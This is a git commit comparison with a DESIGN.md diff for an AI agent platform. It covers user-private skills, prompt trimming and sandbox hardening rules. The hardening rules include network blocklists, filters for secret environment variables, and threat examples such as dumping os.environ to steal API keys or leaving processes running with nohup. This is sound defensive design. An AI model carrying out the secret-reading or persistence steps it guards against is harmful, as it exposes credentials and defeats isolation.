Compare commits

...

4 Commits

Author SHA1 Message Date
caoqianming 958678aa12 feat(skills): 用户私有 skill(.skills)+ 创作工具 + skill-creator + Web 查看页
每用户可在私有 .skills/ 下造/改 skill,只对自己生效。

- SkillRegistry 改多来源(SkillSource 列表:内置 + 用户 .skills),后扫同名
  覆盖先扫 → user wins;user_overrides 记覆盖关系、discovery 显式标注;
  Skill 加 source;from_dir 区分"非 skill 目录(静默)"与"格式错(SkillLoadError)",
  坏的用户 skill 收进 load_errors 注入 prompt,不崩整次扫描。容器路径改写下沉
  到 registry.container_dir(按 source 给 /sandbox/skills 或 /workspace/.skills),
  LoadSkillTool 去掉 container_skills_dir 参数。
- 新增 host-side 工具 save_skill / fork_skill(tools/skill_authoring.py):
  fs 的 base_dir 锚 cwd/容器 wd 够不到 user_root/.skills,故用 host-side typed
  tool(与 seedream/document_* 同范式)。save_skill 写时校验 frontmatter;
  fork_skill copytree 整目录(带脚本)+ 自动对齐 frontmatter name。
- 新增 skill-creator 引导 skill(重点教写好 description + fork 语义)。
- Web:左侧 rail 底部「技能」按钮 → modal 分平台/我的两组,点开看完整
  SKILL.md,我的可删;后端加 GET /v1/skills/{name}(正文)+ DELETE
  /v1/skills/{name}(只删 user 源 + 防穿越);/v1/skills 带 source/overrides/
  load_errors;新 web/static/js/skills.js。创建/改/fork 仍走对话。
- .skills 是 dotfile(文件面板隐藏,与 .memory 一致;validate_task_name 已禁
  . 起头 working_dir,天然不撞)。
- 测试:test_user_skills.py(20 例)+ 改写 test_load_skill.py;全 121 过。
- 文档:DESIGN §3.5 / PROGRESS / RUN(布局+端点)/ SKILL_LIST 同步。

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-11 09:46:39 +08:00
caoqianming d9b48bdb96 refactor(prompt): 精简 system prompt,媒体段改按需注入,通用任务每轮瘦 ~40 行
去 system prompt 冗余 + 让无关段不常驻:
- 「宪法」文件命名约定 ~25→~6 行:只留格式定义+注入值+一行 current/重定调;
  操作细节本就由 proposal/ppt skill 各自讲,两 skill 引用不动也不破
- run_python「先 write script 再 script_path」去重:模板+agent_builder 两处合一,
  scripts/ 子目录约定收进模板
- 媒体工具段(seedream/seedance 红线)抽成 _MEDIA_TOOLS_BLOCK,仅 ArkConfig.load()
  非 None(有 ARK_API_KEY)时追加;ark_cfg 提前 load 一次复用给 tool 注册
- 路径 echo 全形式段 8→4 行

实测 media_enabled ON/OFF 差 891 字节(=媒体段),命名约定段拼接正常;
test_system_prompt_paths 仍过。

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-11 08:10:27 +08:00
caoqianming e45705c672 docs(auth): 邮箱密码定为长期保留,OIDC 降级为选做 + 拆出 CORS 收紧
已接入真实用户且邮箱密码长期保留,故:
- DESIGN §7.0/§7.3/§7.7 三处「邮箱密码同步下线」改「与 OIDC 并存长期保留」
- 原「真 OIDC 发布前必做」拆成:CORS 收紧(现做)+ OIDC(选做,信任模型可接受则延后)
- PROGRESS 下一步候选 #1 同步拆分;auth.py docstring 同步

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 16:47:27 +08:00
caoqianming 4b839e6425 docs: 精简 DESIGN/PROGRESS,压缩冗余实施细节回设计/状态边界
PROGRESS 把近期长段落条目压回"1-2 句:做了啥+关键判断"(细节归
git log),字节 81KB→30KB;状态表/文件清单刷到 06-10。
DESIGN §8 已落地的 token 优化/pptx 预览删逐步 checklist 只留取舍,
§7.5 落地清单/§7.9 取舍压掉重复论证保留全部硬规则与红线,71KB→52KB。
架构本体 §1-§6 与 API/schema 未动。

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-10 16:34:16 +08:00
17 changed files with 1191 additions and 472 deletions

220
DESIGN.md
View File

@ -39,7 +39,8 @@ zcbot/
│ ├── fs.py # read / write / edit (唯一匹配) / glob / grep │ ├── fs.py # read / write / edit (唯一匹配) / glob / grep
│ ├── shell.py # subprocess + 黑名单 │ ├── shell.py # subprocess + 黑名单
│ ├── run_python.py # tmp .py + subprocess + 敏感 env 过滤 │ ├── run_python.py # tmp .py + subprocess + 敏感 env 过滤
│ └── skill_tool.py # load_skill │ ├── skill_tool.py # load_skill
│ └── skill_authoring.py # save_skill / fork_skill(host-side 写用户 .skills)
├── skills/{coding,ppt,proposal}/ # SKILL.md + references / scripts / assets ├── skills/{coding,ppt,proposal}/ # SKILL.md + references / scripts / assets
├── prompts/system/general_v1.md ├── prompts/system/general_v1.md
├── config/{agent.yaml, models/*.yaml} ├── config/{agent.yaml, models/*.yaml}
@ -76,7 +77,7 @@ ReAct:LLM → 若有 tool_calls 就执行 → 结果塞回消息 → 再调 LLM
yaml 是手填的,probe 用真实调用对账:`basic_chat` / `parallel_tools` / `thinking_mode` / `long_context`(opt-in)。不改 yaml,只出 rich Table 报告。**显式触发,不进启动路径**(避免烧 API)。 yaml 是手填的,probe 用真实调用对账:`basic_chat` / `parallel_tools` / `thinking_mode` / `long_context`(opt-in)。不改 yaml,只出 rich Table 报告。**显式触发,不进启动路径**(避免烧 API)。
### 3.4 工具系统(Hybrid 范式) ### 3.4 工具系统(Hybrid 范式)
**JSON tool call**(`tools/`):read / write / edit / glob / grep / shell / run_python / load_skill — 离散操作。 **JSON tool call**(`tools/`):read / write / edit / glob / grep / shell / run_python / load_skill / save_skill / fork_skill — 离散操作。
**Code execution**(`run_python`):tmp `.py` + subprocess + 工作目录限制 + 敏感 env 过滤(`*API_KEY *TOKEN *SECRET *PASSWORD *PRIVATE_KEY`)— 批处理 / 算数据 / 生成文档。 **Code execution**(`run_python`):tmp `.py` + subprocess + 工作目录限制 + 敏感 env 过滤(`*API_KEY *TOKEN *SECRET *PASSWORD *PRIVATE_KEY`)— 批处理 / 算数据 / 生成文档。
关键设计:`edit` **唯一匹配**(CoreCoder 风格,old_str 重复即报错);工具按**原子操作**切分,不做 `make_pptx()` 这种高级封装。 关键设计:`edit` **唯一匹配**(CoreCoder 风格,old_str 重复即报错);工具按**原子操作**切分,不做 `make_pptx()` 这种高级封装。
@ -84,6 +85,8 @@ yaml 是手填的,probe 用真实调用对账:`basic_chat` / `parallel_tools` /
对齐 Anthropic 2025-12 开放标准。三层加载:Discovery(`name + description`,几百 token)→ Activation(`load_skill(name)` 加载完整 SKILL.md,1-5K)→ Execution(SKILL.md 指 `references/xxx` 按需拉)。 对齐 Anthropic 2025-12 开放标准。三层加载:Discovery(`name + description`,几百 token)→ Activation(`load_skill(name)` 加载完整 SKILL.md,1-5K)→ Execution(SKILL.md 指 `references/xxx` 按需拉)。
原则:写 WHY+WHAT,不写 Step 1/2/3。description 决定模型能否触发。 原则:写 WHY+WHAT,不写 Step 1/2/3。description 决定模型能否触发。
**用户私有 skill(多来源 registry,2026-06-11)**:`SkillRegistry` 收**有序来源列表**——内置 `ROOT/skills`(只读)+ 用户 `user_root/.skills`(可写,per-user)。用户来源排后,**同名覆盖内置(user wins)**;覆盖在 discovery 显式标注,不静默。取舍:① **user wins** 而非 namespace 隔离——核心用例是"copy 内置 skill 再改",同名覆盖才符合"我的覆盖全局"直觉,且 skill 是纯指引、覆盖只作用于该用户自己会话,blast radius 锁死;② **创作走 host-side typed tool**(`save_skill`/`fork_skill`)而非 fs/shell——fs 的 base_dir 锚 cwd(host)/ 容器 wd(docker),够不到 `user_root/.skills`,跨 backend 不可靠;host-side 工具知 user_root,一个落点两模式通吃(与 seedream/document_* 持 key host-side 同范式),且 `fork_skill` copytree 整目录解决"带脚本 skill 的 fork";③ 用户来源加载失败(YAML 坏 / 缺 description)收进 `load_errors` 注入 prompt 提示用户修,不静默丢、不崩整次扫描。
### 3.6 Session 与 Task ### 3.6 Session 与 Task
**Session**(`core/session.py`)= 消息列表 + meta,**直接 ORM 写 PG `messages` 表**(append-only,`jsonb` 存 LiteLLM 原样 payload)。 **Session**(`core/session.py`)= 消息列表 + meta,**直接 ORM 写 PG `messages` 表**(append-only,`jsonb` 存 LiteLLM 原样 payload)。
@ -193,7 +196,7 @@ SaaS 化不是"重写",而是把同一份 web `/v1` 服务部署到云端。
| working_dir | `workspace/users/<user_id>/<name>/` | `<storage_root>/users/<user_id>/<name>/` | | working_dir | `workspace/users/<user_id>/<name>/` | `<storage_root>/users/<user_id>/<name>/` |
| Memory | `workspace/users/<user_id>/.memory/` (FS, dotfile) | `<storage_root>/users/<user_id>/.memory/` | | Memory | `workspace/users/<user_id>/.memory/` (FS, dotfile) | `<storage_root>/users/<user_id>/.memory/` |
| Sandbox | subprocess + env 过滤 | per-user sandbox container + per-tool exec | | Sandbox | subprocess + env 过滤 | per-user sandbox container + per-tool exec |
| Auth | 邮箱密码(`users.email/password_hash`,bcrypt)→ JWT;platform_key → JWT(机器对机器) | OIDC → JWT(D' 替换 platform_key 路径;邮箱密码同步下线) | | Auth | 邮箱密码(`users.email/password_hash`,bcrypt)→ JWT;platform_key → JWT(机器对机器) | OIDC → JWT(D' 替换 platform_key 路径);**邮箱密码长期保留**,与 OIDC 并存 |
`workspace/` 仅存 skill 产物,state / messages 全在 PG。本地 vs SaaS 共用 `users/<user_id>/` 子树布局,差别只在外层根目录,不在 storage 形态。 `workspace/` 仅存 skill 产物,state / messages 全在 PG。本地 vs SaaS 共用 `users/<user_id>/` 子树布局,差别只在外层根目录,不在 storage 形态。
@ -307,7 +310,7 @@ done {}
**信任模型**:platform 是单点可信中间层(持 PLATFORM_KEY = 可为任意 user_id 签 token),风险与"platform 服务端泄漏 = 用户身份泄漏"同级,可接受。 **信任模型**:platform 是单点可信中间层(持 PLATFORM_KEY = 可为任意 user_id 签 token),风险与"platform 服务端泄漏 = 用户身份泄漏"同级,可接受。
**未来形态(真 OIDC)**:Provider 签 ID token,zcbot `/v1/auth/login` 内部从"校验 PLATFORM_KEY"换成"校验 ID token 签名 + 提取 sub" — **路由层 Depends 不动**,Bearer JWT 契约不变;邮箱密码路径同步下线。所有 storage/executor scoped by `user_id`,**无 tenant 层** — 个人 SaaS 用不上,做企业版再加 `org_id` 等价隔离。 **未来形态(真 OIDC)**:Provider 签 ID token,zcbot `/v1/auth/login` 内部从"校验 PLATFORM_KEY"换成"校验 ID token 签名 + 提取 sub" — **路由层 Depends 不动**,Bearer JWT 契约不变。**邮箱密码路径长期保留**,与 OIDC 并存(自有账号体系 + 同事试用不依赖外部 IdP);OIDC 只接管 platform 机器对机器那条路径。所有 storage/executor scoped by `user_id`,**无 tenant 层** — 个人 SaaS 用不上,做企业版再加 `org_id` 等价隔离。
### 7.4 存储:Postgres + 本地文件系统 ### 7.4 存储:Postgres + 本地文件系统
@ -384,68 +387,40 @@ create index on usage_events (model_profile, created_at);
**网络**:容器默认 deny outbound 更安全;搜索和网页抓取走宿主后端受控工具。确需安装依赖时走受控 PyPI 镜像或 HTTP proxy,并计量下载量;不要让容器自由 `curl` 外网 / 内网 / cloud metadata。 **网络**:容器默认 deny outbound 更安全;搜索和网页抓取走宿主后端受控工具。确需安装依赖时走受控 PyPI 镜像或 HTTP proxy,并计量下载量;不要让容器自由 `curl` 外网 / 内网 / cloud metadata。
**选型**:起步 Docker;流量起来后视情况换 gVisor / Firecracker / e2b。 **选型**:起步 Docker;流量起来后视情况换 gVisor / Firecracker / e2b。
**落地清单(Stage C 实施硬协议,与 PROGRESS Stage C DoD 锚定)** — 原则到代码的具化,实施时按此对账,避免靠记忆: **落地清单(Stage C 实施硬协议,与 PROGRESS Stage C DoD 锚定;实施时按此对账)**:
1. **网络 blocklist 硬编码段**(容器 iptables 启动脚本必含,**任一缺失视为 Stage C 未完成**): 1. **网络 blocklist 硬编码段**(容器 iptables 启动必含,**任一缺失=Stage C 未完成**):`169.254.0.0/16`(cloud metadata SSRF)、`127.0.0.0/8`+`::1`(loopback)、内网三段 `10/8`+`172.16/12`+`192.168/16`、`100.64.0.0/10`(CGNAT);**PG 实际 IP 单独再 block 一遍**(belt-and-suspenders,自定义网络/VPC peering 会让段级 block 看似覆盖实际能直连)。
- `169.254.0.0/16`(cloud metadata,AWS/GCP/Azure 通用 SSRF 攻击向量,Capital One 2019 同款)
- `127.0.0.0/8` / `::1`(loopback,防容器回头打宿主端口)
- `10.0.0.0/8` / `172.16.0.0/12` / `192.168.0.0/16`(内网三段)
- `100.64.0.0/10`(CGNAT,云平台常用)
- **PG 实际 IP 单独再 block 一遍**(belt-and-suspenders,无论它落在哪个段;Docker 用户自定义网络 / VPC peering 等设置会让"段级 block 看似已覆盖"实际能直连)
2. **网络 egress 模型**:容器内 `HTTP_PROXY` / `HTTPS_PROXY` env 强制走宿主侧 proxy + 容器 iptables `DROP outbound except <proxy port>`(防 SDK 不读 env 绕过)。Proxy 跑宿主侧(Squid 或自家 aiohttp),负责:① 域名 allowlist;② 红线段 IP block(同上,proxy 侧也再做一次,defense-in-depth);③ per-user 出网字节计量,纳 §7.5 软配额(超额 429);④ 审计日志 `network_audit (user_id, task_id, ts, method, host, path, status, bytes_in, bytes_out)`。**Allowlist 初始集**:`*.pypi.org` / `*.pythonhosted.org` / `github.com` / `raw.githubusercontent.com` / `codeload.github.com` / `objects.githubusercontent.com` / `*.npmjs.org` + 部署配置的 PyPI 镜像域名。后续按用户反馈逐步加,优于"全开后某天挖矿事件" 2. **网络 egress 模型**:容器内 `HTTP(S)_PROXY` 走宿主侧 proxy + iptables `DROP outbound except <proxy port>`(防 SDK 不读 env 绕过)。宿主 proxy 负责:① 域名 allowlist;② 红线段 IP block(再做一次);③ per-user 出网字节计量入软配额(超额 429);④ 审计日志 `network_audit`。**Allowlist 初始集**:`*.pypi.org`/`*.pythonhosted.org`/`github.com`/`raw|codeload|objects.githubusercontent.com`/`*.npmjs.org` + 部署的 PyPI 镜像域名。
3. **进程组清理协议**:`docker exec` 命令通过 `setsid` 包一层(`docker exec <c> setsid <cmd>` 或在容器 entrypoint 内封装);timeout / cancel / 正常结束三种路径都走 `kill -- -PGID` 杀整个进程组。**目的**:防 `nohup &` / `disown` / 派生 daemon 在容器内跨 exec 持久化。同 user 不做内隔离 → 残留进程能看到后续 exec 的 in-memory 状态,这是接受的 #1 残留风险,但其前提是没有 stale 进程能跨 exec 存活——这条协议守不住,残留风险就放大成"跨对话持久后门"。 3. **进程组清理协议**:`docker exec` 通过 `setsid` 包一层,timeout/cancel/正常结束三路径都 `kill -- -PGID` 杀整组。**目的**:防 `nohup &`/`disown`/派生 daemon 跨 exec 持久化——同 user 不做内隔离,stale 进程能看到后续 exec in-memory 状态,守不住这条残留风险就放大成"跨对话持久后门"。
4. **磁盘配额硬化时点**:首版用应用层统计 + 周期扫描(对应 §7.5 软配额);**外部用户开放前必须升级到 xfs project quota 或 ext4 project quota 或 zfs dataset quota**。否则"扫描间隙打满共享 fs"会拖死同节点其他 user(攻击者写满速度远快于扫描周期),且不属于配额超额行为,排查痛苦。 4. **磁盘配额硬化时点**:首版应用层统计 + 周期扫描(=软配额);**外部用户开放前必须升级到 xfs/ext4 project quota 或 zfs dataset quota**。否则扫描间隙打满共享 fs 会拖死同节点其他 user(写满远快于扫描周期),且不算配额超额、排查痛苦。
5. **Executor 接口签名 + runtime config 注入**:不在工具调用层 hard-code `docker exec`,通过 backend driver 抽象: 5. **Executor 接口 + runtime config 注入**:不在工具层 hard-code `docker exec`,走 backend driver 抽象(`Executor.call_tool(tool, args, ctx)`);container runtime 走 config `ZCBOT_SANDBOX_RUNTIME=runc|runsc`(`docker run --runtime=`)。**理由**:未来切 gVisor/Firecracker/Kata/e2b 应用层零改动,避免接口泄漏 Docker 假设(`docker exec/cp/stats`)致后期重写。
```python
class Executor:
async def call_tool(self, tool: str, args: dict, ctx: ExecCtx) -> ToolResult: ...
```
Container 创建参数走 config:`ZCBOT_SANDBOX_RUNTIME=runc|runsc|...`(默 `runc`),per-user 容器起的时候 `docker run --runtime=<runtime>`。**理由**:未来切 gVisor / Firecracker / Kata / e2b 时应用层零改动(只换 backend driver + 改 config + 重启容器),避免接口形状泄漏 Docker 假设(`docker exec` / `docker cp` / `docker stats`)导致后期重写。
6. **工具按信任域二分,Executor 内部 dispatch**(2026-05-26 修正,原"host 工具走 paths.py::resolve_user_path 校验"是假命题,代码里没那函数;Ubuntu dogfood 第一次切 docker backend 发现 glob 工具仍列 host repo `.git/.venv/...`,改物理边界替代代码护栏): 6. **工具按信任域二分,Executor 内部 dispatch**(2026-05-26 修正:原"host 工具走 `resolve_user_path` 校验"是假命题无此函数;dogfood 发现 glob 仍列 host repo,改物理边界替代代码护栏):
- **Container exec backend**:`shell` / `run_python` / `read` / `write` / `edit` / `glob` / `grep` — 全走 docker exec。shell/run_python 是任意代码必须隔离;fs 工具(read 等 5 个)以前在 host 跑 `base_dir = Path.cwd()` 无 user_root 校验,能读 host 全 fs(`/etc/passwd` / zcbot 源码 / `~/.ssh/`),改进容器后 `user_root=/workspace` 是物理边界。fs 工具调用形态:`docker exec --user zcbot --workdir /workspace/<wd> -i <c> python /sandbox/tool_runner.py <name>` + stdin 喂 JSON args(CJK / 引号 / 路径分隔符透明传,不被 shell metachar 切)。`tool_runner.py` 在镜像里 `/sandbox/`,复用 `tools/fs.py` 的 Tool 子类(`COPY tools/ /sandbox/tools/`);skill references 通过额外的 `<repo>/skills:/sandbox/skills:ro` mount 暴露(只读)。 - **Container exec backend**:`shell`/`run_python`/`read`/`write`/`edit`/`glob`/`grep` 全走 docker exec。shell/run_python 是任意代码;fs 工具以前 host 跑 `base_dir=Path.cwd()` 无 user_root 校验能读 `/etc/passwd`/源码/`~/.ssh`,进容器后 `user_root=/workspace` 是物理边界。调用形态:`docker exec --user zcbot --workdir /workspace/<wd> -i <c> python /sandbox/tool_runner.py <name>` + stdin 喂 JSON args(CJK/引号透明传);`tool_runner.py` 复用 `tools/fs.py`,skill references 走 `skills:/sandbox/skills:ro` mount。
- **Host in-process backend**:`load_skill` / `web_search` / `web_fetch` / `seedream` / `seedance` / `document_*` / `mp_*` — 持 Bocha/ARK/document_search/MP API key 不能塞容器 env(SaaS 时 key 泄漏面增加);`load_skill` 是 SkillRegistry 内存查找,无 fs 访问越界可能。Step 4 egress proxy 之后再讨论这几个工具的容器化方案(media tool 调远端 API 走 proxy 比 key 入容器更直)。 - **Host in-process backend**:`load_skill`/`save_skill`/`fork_skill`/`web_*`/`seedream`/`seedance`/`document_*`/`mp_*` — 持 key 不能进容器 env;`load_skill` 是内存查找无越界;`save_skill`/`fork_skill` host-side 写 `user_root/.skills`(沙箱 fs 的 base_dir 够不到)。
- Dispatcher(`DockerExecutor`)内部分流,使用方(`AgentLoop`)零感知。**接口形状按"未来若需全部进容器 + 内部 tool-runner unix socket RPC"留好**,升级触发信号见下表。 - Dispatcher(`DockerExecutor`)内部分流,`AgentLoop` 零感知;接口形状按"未来全进容器 + tool-runner unix socket RPC"留好(升级信号见下表)。**代价**:每 fs tool call 多 ~200ms,对话级 N≤15 → 1-3s,LLM 推理 5-30s 下噪声。
- **代价**:每个 fs tool call 多 ~200ms docker exec overhead;对话级 N≤15 → 总 1-3s,LLM 推理时间 5-30s 下面噪声。镜像 build 多一步 `COPY tools/`,rebuild 增量 ~5s。
7. **Secret-bearing domain tools 不进 sandbox,不做 key 下发**(2026-06-01 补充): 7. **Secret-bearing domain tools 不进 sandbox,不做 key 下发**(2026-06-01):凡需 `*_API_KEY`/OAuth/DB credential 的能力**不能**让容器读 env,也不做"credential broker 发短期 key"(sandbox 内任意代码可 `print(os.environ)`/monkeypatch SDK,短期 token 只缩有效期不改根因)。正确形态=**host-side JSON tool**:LLM 传非敏感业务参数 → host tool 取 key 调远端 API → 裁剪/限大小/计量/审计 → 只返业务结果或落盘文件路径,容器最多读到落盘产物。已落地:`documents`/Materials Project 改 host tool(详 PROGRESS 06-01)。注册规则:仅对应 env 存在时注册,否则 schema 不暴露 + skill 文档提示降级。
- 原则:凡是需要 `*_API_KEY` / OAuth token / DB credential 的能力,**不能**以 `run_python` helper 形态要求容器读 env,也不能做"credential broker 给 sandbox 发短期 key"。sandbox 内的任意代码可 `print(os.environ)` / monkeypatch SDK / exfiltrate 请求头;短期 token 只缩短有效期,不改变"不可信代码拿到 secret"这个根因。
- 正确形态:把这类能力做成 **host-side JSON tool**。LLM 传非敏感业务参数 → host tool 从宿主 env / secret manager 取 key 调远端 API → 对返回做字段裁剪 / 大小限制 / 配额计量 / 审计 → 只把业务结果或写入 workspace 的文件路径返回给模型。容器最多读到落盘产物,永远读不到 key / Authorization header。
- 现有命中问题:
- `documents` skill 当前 `skills/documents/client.py` 要在 `run_python` 里读 `DOCUMENT_SEARCH_API_KEY`,所以 docker sandbox 下必然不可用;应改为 host tool `document_list_kb` / `document_search` / `document_download`,key 只在 host client 内使用,download 写入当前 task_dir 的 `documents/` 后返相对路径。
- `pymatgen` skill 的离线计算(`Structure.from_file` / `XRDCalculator` / `SpacegroupAnalyzer`)继续在 sandbox 跑;Materials Project 联网查询不能让 `mp_rester()` 在 sandbox 读 `MP_API_KEY`,应拆成 host tool `mp_search_summary` / `mp_get_structure` / `mp_get_entries`。host tool 返回裁剪后的 summary 或把 CIF/JSON 写到 task_dir,后续离线 pymatgen 再读文件计算。
- 注册规则:host tool 仅在对应 env 存在时注册;未配置时 schema 不暴露,skill 文档提示降级路径。这样模型不会看到一个永远失败的工具,也不会被诱导在 sandbox 中寻找 secret。
- 审计与配额:这类 host tool 按 user/task 记录 `usage_events` 或专门 audit 表(请求类型、目标服务、返回条数、下载字节、耗时、错误码),纳入月度 cost / 网络下载量 / 单次结果大小限制。返回给 LLM 的正文必须默认截断,大文本落文件后由 `read` 按需读取。
**升级触发信号(写下来防遗忘,反向兜底:无信号不升级)**: **升级触发信号(反向兜底:无信号不升级)**:
| 升级方向 | 触发信号 | 不升级的理由 | | 升级方向 | 触发信号 | 不升级的理由 |
|---|---|---| |---|---|---|
| Docker → **gVisor** (`runsc`) | 开放陌生用户注册 / 容器逃逸 CVE 公开未及时打补丁窗口期 / 出现可疑 syscall 模式告警 | 现状 Docker + 完整 hardening 已挡住主流容器逃逸路径外的攻击,剩下 kernel 0day 在 dogfood + 信任用户阶段不是 #1 风险;gVisor syscall 重 -30~50% 是真代价 | | Docker → **gVisor**(`runsc`) | 开放陌生注册 / 逃逸 CVE 未及时打补丁窗口 / 可疑 syscall 告警 | Docker + 完整 hardening 已挡主流逃逸,kernel 0day 在 dogfood 阶段非 #1 风险;gVisor syscall -30~50% 是真代价 |
| gVisor → **Firecracker / e2b** | 合规客户(PCI / HIPAA) / 高密度多租户(单机 100+ user) / gVisor 兼容墙撞死(某 C 扩展跑不起来) | Firecracker 内存账每 VM 100MB+ 起步,zcbot 量级不划算;e2b 数据出去执行再回来,与 storage_root 自持模型冲突 | | gVisor → **Firecracker / e2b** | 合规客户(PCI/HIPAA) / 单机 100+ user / gVisor 兼容墙撞死 | Firecracker 每 VM 100MB+ 起步不划算;e2b 数据出去执行与 storage_root 自持模型冲突 |
| `docker exec`**容器内 tool-runner**(unix socket RPC) | metric `docker_exec_overhead / total_tool_time > 30%` 持续两周 / "模型在容器内起长驻 web 服务并对外服务"工作流 / 单 task 一轮工具调用 >20 次 | 自管进程组清理 + 自管 cgroup 切片 + 协议自带状态污染面 + 失去 Docker 工具链观测(`docker stats` / `docker top` / `docker exec -it bash` 紧急介入)代价 >> 那 200ms × N 收益;**美学统一性 ≠ 升级理由** | | `docker exec`**容器内 tool-runner**(socket RPC) | `docker_exec_overhead/total > 30%` 持续两周 / 模型起长驻 web 服务 / 单轮工具调用 >20 次 | 自管进程组清理 + cgroup + 状态污染面 + 失去 Docker 工具链观测,代价 >> 200ms×N;**美学统一性 ≠ 升级理由** |
**Image 体积 / 多 user 资源 / 后续加包策略**(2026-05-28): **Image 体积 / 多 user 资源 / 加包策略**(2026-05-28):sandbox image ~1.5G(python+chromium+node+mermaid),后续 domain 包还会推大。三点认知分开:
zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后续 domain 包(rdkit / pymatgen / ASE / pandoc-tex 等)还会进一步推大。先把三件事认知分开,避免把 image 大小当万能背锅侠: 1. **Image 大 ≠ 运行时吃更多资源**:空载 `sleep infinity` RSS 个位数 MB,image 里的库不 exec 只是磁盘字节;layer 共享让 N 个 user 容器磁盘乘数=1。真吃 RAM 的是 active exec(chromium 渲 mermaid 瞬时 200-500MB),跟 image 大小解耦。
2. **多 user 瓶颈在并发 exec 不在 idle 容器**:100 idle 容器几百 MB 可接受;10 user 同渲 mermaid 瞬时 2-5GB 才是瓶颈。**杠杆全在运行时**(单容器 `--memory/--cpus/--pids-limit` + 同 user exec semaphore + 整机 active cap + idle 5min 回收),减 image 体积对这条曲线无影响。
3. **新增依赖:base 收敛 + per-user 持久化 venv + 使用频次沉淀**:重包(torch/texlive)或长尾 domain 包不进 base,中高频+轻量的留 base;**采用 per-user venv** 落 `<user_root>/.venv/`(bind mount 进容器 idle 回收不丢,`pip install --target` + `PYTHONPATH` 注入)。不放共享 named volume(破坏跨 user 隔离,install 脚本是任意代码);不依赖 pip cache(只省网络、回收照丢)。**沉淀机制**:audit 统计 >30% user 装过 ≥3 次的包 → 下次 build 合并进 `requirements.txt`,base 跟真实使用收敛。
1. **Image 大 ≠ 运行时吃更多资源**。`deploy/sandbox/Dockerfile:120` 启动是 `tini → init.sh → sleep infinity`,空载 RSS 个位数 MB;image 里的 chromium / numpy / npm 不 exec 就只是磁盘字节,不进内存。layer 共享让 N 个 user 容器共用同一个 image,磁盘乘数 = 1。**真吃 RAM 的是 active exec**(chromium 渲 mermaid 瞬时 200-500MB,大数据集另算),跟 image 大小解耦,跟"模型让容器干啥"挂钩。 落地对应 Stage C `DockerExecutor`(cgroup limits / 并发 semaphore / idle 回收 / per-user venv);audit 沉淀可延后。
2. **多 user 同时在线的瓶颈在并发 exec,不在 idle 容器**。100 个 idle per-user 容器约几百 MB RSS,可接受;10 个 user 同时让模型渲 mermaid 瞬时 2-5 GB,这才是瓶颈。**杠杆全在运行时**:`docker run --memory --cpus --pids-limit` 单容器硬顶 + 同 user 并发 exec semaphore + 整机 active user cap(超额排队 / 429)+ idle 5 分钟回收(已规划)。**减 image 体积对这条曲线不产生影响**,不在 image 上花减肥功夫。
3. **新增依赖策略:base 收敛 + per-user 持久化 venv + 使用频次沉淀**:
- **(a) 全塞 base**:重 (torch 1G+ / texlive 2G+) 或长尾 domain 包不该进,build 慢 / pull 慢 / 所有 user 拍磁盘陪绑;但中高频 + 多 skill 共用 + 轻量(MB 级)的继续放 base(当前 `requirements.txt` 大致就是这类)。
- **(b) 运行时临时装**:适合单次实验;**容器 idle 回收即丢**,冷启又装,高频复用差。
- **(c) 多 image 按场景分**:per-user 容器模型下 user 不知道自己要哪个,切 skill 还得换 image —— 心智不通,**不采用**。
- **采用:(a) + 持久化 per-user venv**。每个 user 一个持久化 venv 落 `<storage_root>/users/<user_id>/.venv/`(随 user_root bind mount 进 `/workspace/.venv/`,容器 idle 回收不丢);模型用 `pip install --target=/workspace/.venv/site-packages` 装到持久化路径,exec 时 `PYTHONPATH=/workspace/.venv/site-packages` 注入。**沉淀机制**:加 audit 统计哪些包累计被 >N% user 装过 → 下次 image build 时合并进 `requirements.txt`,base 跟着真实使用模式收敛而非拍脑袋。
- **为什么不把 venv 放 named volume / image cache**:跨 user 共享 venv 破坏跨 user 隔离(包 install 脚本是任意代码,一个 user 装的 setup.py 可读另一 user 的 venv);per-user 隔离 venv 与 §7.5 跨 user 隔离 / 同 user 内不隔离的边界一致。
- **为什么不依赖 pip cache**:pip cache 只省网络 / 不省落盘,装到 `/tmp` 容器一回收照样丢;venv 持久化才解决"冷启不重装"。
- **npm / chromium / pandoc 等系统级保持 base**,无机非金属材料场景下 per-user node_modules 没必要分。
- **沉淀阈值起步 >30% user 装过 ≥ 3 次** 进 base;过低噪声多,过高沉淀慢,后续按观察调。
`Image 大 = 资源占用大` 是表象关联,真因子是 active exec 行为 + 单 user 容器并发限制;`继续往 base 加包 vs 临时装` 是伪二选一,**长尾私有 + 高频沉淀**是更合身的形状。落地排期对应 Step 6 Executor 实施(`PROGRESS.md` Stage C):cgroup limits / 并发 semaphore / idle 回收 / per-user venv mount 一并进 `DockerExecutor`;audit 沉淀机制可延后,有 dogfood 安装日志再开。
### 7.6 Core 代码改造(按依赖顺序) ### 7.6 Core 代码改造(按依赖顺序)
@ -475,7 +450,8 @@ zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后
| B | Storage 落 PG + working_dir 语义 + no-subtask | 一次性切换,无双轨(见下) | | B | Storage 落 PG + working_dir 语义 + no-subtask | 一次性切换,无双轨(见下) |
| D | HTTP /v1 surface | — | | D | HTTP /v1 surface | — |
| D' 过渡 | 邮箱密码 + PLATFORM_KEY → JWT + user_id 隔离 + dev SPA | — | | D' 过渡 | 邮箱密码 + PLATFORM_KEY → JWT + user_id 隔离 + dev SPA | — |
| D' 真 OIDC | 替换 /v1/auth/login 内部为 ID token 校验 + CORS allowlist 收紧 | 1 天,发布前必做 | | CORS 收紧 | `allow_origins``*` 改 platform 域名 allowlist | 已接入真实用户,**应尽快做**(与 OIDC 解耦) |
| D' 真 OIDC | 替换 /v1/auth/login 内部为 ID token 校验(邮箱密码并存保留) | 选做,platform_key 信任模型可接受则可延后;真要弃 PLATFORM_KEY 共享密钥时再做 |
| C | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 3 天,**外部用户开放的 hard prereq**(详 §7.8 / §7.9 2026-05-21) | | C | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 3 天,**外部用户开放的 hard prereq**(详 §7.8 / §7.9 2026-05-21) |
